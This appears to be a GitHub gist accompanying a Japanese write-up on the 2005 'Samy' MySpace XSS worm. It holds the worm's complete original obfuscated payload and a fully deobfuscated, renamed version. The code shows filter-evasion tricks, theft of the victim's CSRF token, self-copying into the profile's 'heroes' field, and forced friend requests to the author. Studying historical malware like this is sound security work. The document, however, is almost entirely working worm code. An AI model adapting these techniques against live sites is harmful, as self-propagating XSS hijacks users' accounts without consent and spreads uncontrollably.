この記事は移行しました。
https://akaki.io/2018/analyzing_samy_xss_worm
XSSワーム「Samy」の動作を解析する
<div id=mycode style="BACKGROUND: url('java | |
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV> |
/* | |
<div id=mycode style="BACKGROUND: url('java | |
script:eval(document.all.mycode.expr)')" expr=" | |
*/ | |
var B_doubleQuote = String.fromCharCode(34); | |
var A_singleQuote = String.fromCharCode(39); | |
function g_getSelfHTML() { | |
var C_html; | |
try { | |
var D_range = document.body.createTextRange(); | |
C_html = D_range.htmlText | |
} catch (e) {} | |
if (C_html) { | |
return C_html | |
} else { | |
return eval('document.body.inne' + 'rHTML') | |
} | |
} | |
function getData(AU_responseHTML) { | |
M_friendID = getFromURL(AU_responseHTML, 'friendID'); | |
F_myToken = getFromURL(AU_responseHTML, 'Mytoken') | |
} | |
function getQueryParams() { | |
var E_queryString = document.location.search; | |
var F_queryParams = E_queryString.substring(1, E_queryString.length).split('&'); | |
var AS_params = new Array(); | |
for (var O_i = 0; O_i < F_queryParams.length; O_i++) { | |
var I_param = F_queryParams[O_i].split('='); | |
AS_params[I_param[0]] = I_param[1] | |
} | |
return AS_params | |
} | |
var J_xmlhttp1; | |
var AS_params = getQueryParams(); | |
var L_myToken = AS_params['Mytoken']; | |
var M_friendID = AS_params['friendID']; | |
if (location.hostname == 'profile.myspace.com') { | |
document.location = 'http://www.myspace.com' + location.pathname + location.search | |
} else { | |
if (!M_friendID) { | |
getData(g_getSelfHTML()) | |
} | |
main() | |
} | |
function getClientFID() { | |
return findIn(g_getSelfHTML(), 'up_launchIC( ' + A_singleQuote, A_singleQuote) | |
} | |
function nothing() {} | |
function paramsToString(AV_params) { | |
var N_string = new String(); | |
var O_i = 0; | |
for (var P_paramName in AV_params) { | |
if (O_i > 0) { | |
N_string += '&' | |
} | |
var Q_escapedParamValue = escape(AV_params[P_paramName]); | |
while (Q_escapedParamValue.indexOf('+') != -1) { | |
Q_escapedParamValue = Q_escapedParamValue.replace('+', '%2B') | |
} | |
while (Q_escapedParamValue.indexOf('&') != -1) { | |
Q_escapedParamValue = Q_escapedParamValue.replace('&', '%26') | |
} | |
N_string += P_paramName + '=' + Q_escapedParamValue; | |
O_i++ | |
} | |
return N_string | |
} | |
function httpSend(BH_uri, BI_function, BJ_method, BK_contents) { | |
if (!J_xmlhttp1) { | |
return false | |
} | |
eval('J_xmlhttp1.onr' + 'eadystatechange=BI_function'); | |
J_xmlhttp1.open(BJ_method, BH_uri, true); | |
if (BJ_method == 'POST') { | |
J_xmlhttp1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); | |
J_xmlhttp1.setRequestHeader('Content-Length', BK_contents.length) | |
} | |
J_xmlhttp1.send(BK_contents); | |
return true | |
} | |
function findIn(BF_html, BB_head, BC_tail) { | |
var R_indexHead = BF_html.indexOf(BB_head) + BB_head.length; | |
var S_string = BF_html.substring(R_indexHead, R_indexHead + 1024); | |
return S_string.substring(0, S_string.indexOf(BC_tail)) | |
} | |
function getHiddenParameter(BF_html, BG_paramName) { | |
return findIn(BF_html, 'name=' + B_doubleQuote + BG_paramName + B_doubleQuote + ' value=' + B_doubleQuote, B_doubleQuote) | |
} | |
function getFromURL(BF_html, BG_paramName) { | |
var T_tail; | |
if (BG_paramName == 'Mytoken') { | |
T_tail = B_doubleQuote | |
} else { | |
T_tail = '&' | |
} | |
var U_head = BG_paramName + '='; | |
var V_indexHead = BF_html.indexOf(U_head) + U_head.length; | |
var W_string = BF_html.substring(V_indexHead, V_indexHead + 1024); | |
var X_indexTail = W_string.indexOf(T_tail); | |
var Y_paramValue = W_string.substring(0, X_indexTail); | |
return Y_paramValue | |
} | |
function getXMLObj() { | |
var Z_xmlhttp = false; | |
if (window.XMLHttpRequest) { | |
try { | |
Z_xmlhttp = new XMLHttpRequest() | |
} catch (e) { | |
Z_xmlhttp = false | |
} | |
} else if (window.ActiveXObject) { | |
try { | |
Z_xmlhttp = new ActiveXObject('Msxml2.XMLHTTP') | |
} catch (e) { | |
try { | |
Z_xmlhttp = new ActiveXObject('Microsoft.XMLHTTP') | |
} catch (e) { | |
Z_xmlhttp = false | |
} | |
} | |
} | |
return Z_xmlhttp | |
} | |
var AA_selfHTML = g_getSelfHTML(); | |
var AB_indexHeadOfSelfPayload = AA_selfHTML.indexOf('m' + 'ycode'); | |
var AC_string = AA_selfHTML.substring(AB_indexHeadOfSelfPayload, AB_indexHeadOfSelfPayload + 4096); // Length of unformatted self code is 4015. | |
var AD_indexTailOfSelfPayload = AC_string.indexOf('D' + 'IV'); | |
var AE_selfPayload = AC_string.substring(0, AD_indexTailOfSelfPayload); | |
var AF_payload; | |
if (AE_selfPayload) { | |
AE_selfPayload = AE_selfPayload.replace('jav' + 'a', A_singleQuote + 'jav' + 'a'); | |
AE_selfPayload = AE_selfPayload.replace('exp' + 'r)', 'exp' + 'r)' + A_singleQuote); | |
AF_payload = ' but most of all, samy is my hero. <d' + 'iv id=' + AE_selfPayload + 'D' + 'IV>' | |
} | |
var AG_heroes; | |
function getHome() { | |
if (J_xmlhttp1.readyState != 4) { | |
return | |
} | |
var AU_responseHTML = J_xmlhttp1.responseText; | |
AG_heroes = findIn(AU_responseHTML, 'P' + 'rofileHeroes', '</td>'); | |
AG_heroes = AG_heroes.substring(61, AG_heroes.length); | |
if (AG_heroes.indexOf('samy') == -1) { | |
if (AF_payload) { | |
AG_heroes += AF_payload; | |
var AR_myToken = getFromURL(AU_responseHTML, 'Mytoken'); | |
var AS_params = new Array(); | |
AS_params['interestLabel'] = 'heroes'; | |
AS_params['submit'] = 'Preview'; | |
AS_params['interest'] = AG_heroes; | |
J_xmlhttp1 = getXMLObj(); | |
httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken=' + AR_myToken, postHero, 'POST', paramsToString(AS_params)) | |
} | |
} | |
} | |
function postHero() { | |
if (J_xmlhttp1.readyState != 4) { | |
return | |
} | |
var AU_responseHTML = J_xmlhttp1.responseText; | |
var AR_myToken = getFromURL(AU_responseHTML, 'Mytoken'); | |
var AS_params = new Array(); | |
AS_params['interestLabel'] = 'heroes'; | |
AS_params['submit'] = 'Submit'; | |
AS_params['interest'] = AG_heroes; | |
AS_params['hash'] = getHiddenParameter(AU_responseHTML, 'hash'); | |
httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken=' + AR_myToken, nothing, 'POST', paramsToString(AS_params)) | |
} | |
function main() { | |
var AN_clientFID = getClientFID(); | |
var BH_uri = '/index.cfm?fuseaction=user.viewProfile&friendID=' + AN_clientFID + '&Mytoken=' + L_myToken; | |
J_xmlhttp1 = getXMLObj(); | |
httpSend(BH_uri, getHome, 'GET'); | |
xmlhttp2 = getXMLObj(); | |
httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken=' + L_myToken, processxForm, 'GET') | |
} | |
function processxForm() { | |
if (xmlhttp2.readyState != 4) { | |
return | |
} | |
var AU_responseHTML = xmlhttp2.responseText; | |
var AQ_hashcode = getHiddenParameter(AU_responseHTML, 'hashcode'); | |
var AR_myToken = getFromURL(AU_responseHTML, 'Mytoken'); | |
var AS_params = new Array(); | |
AS_params['hashcode'] = AQ_hashcode; | |
AS_params['friendID'] = '11851658'; // Samy Kamkar's friendID | |
AS_params['submit'] = 'Add to Friends'; | |
httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken=' + AR_myToken, nothing, 'POST', paramsToString(AS_params)) | |
} | |
function httpSend2(BH_uri, BI_function, BJ_method, BK_contents) { | |
if (!xmlhttp2) { | |
return false | |
} | |
eval('xmlhttp2.onr' + 'eadystatechange=BI_function'); | |
xmlhttp2.open(BJ_method, BH_uri, true); | |
if (BJ_method == 'POST') { | |
xmlhttp2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); | |
xmlhttp2.setRequestHeader('Content-Length', BK_contents.length) | |
} | |
xmlhttp2.send(BK_contents); | |
return true | |
} | |
/* | |
"></DIV> | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment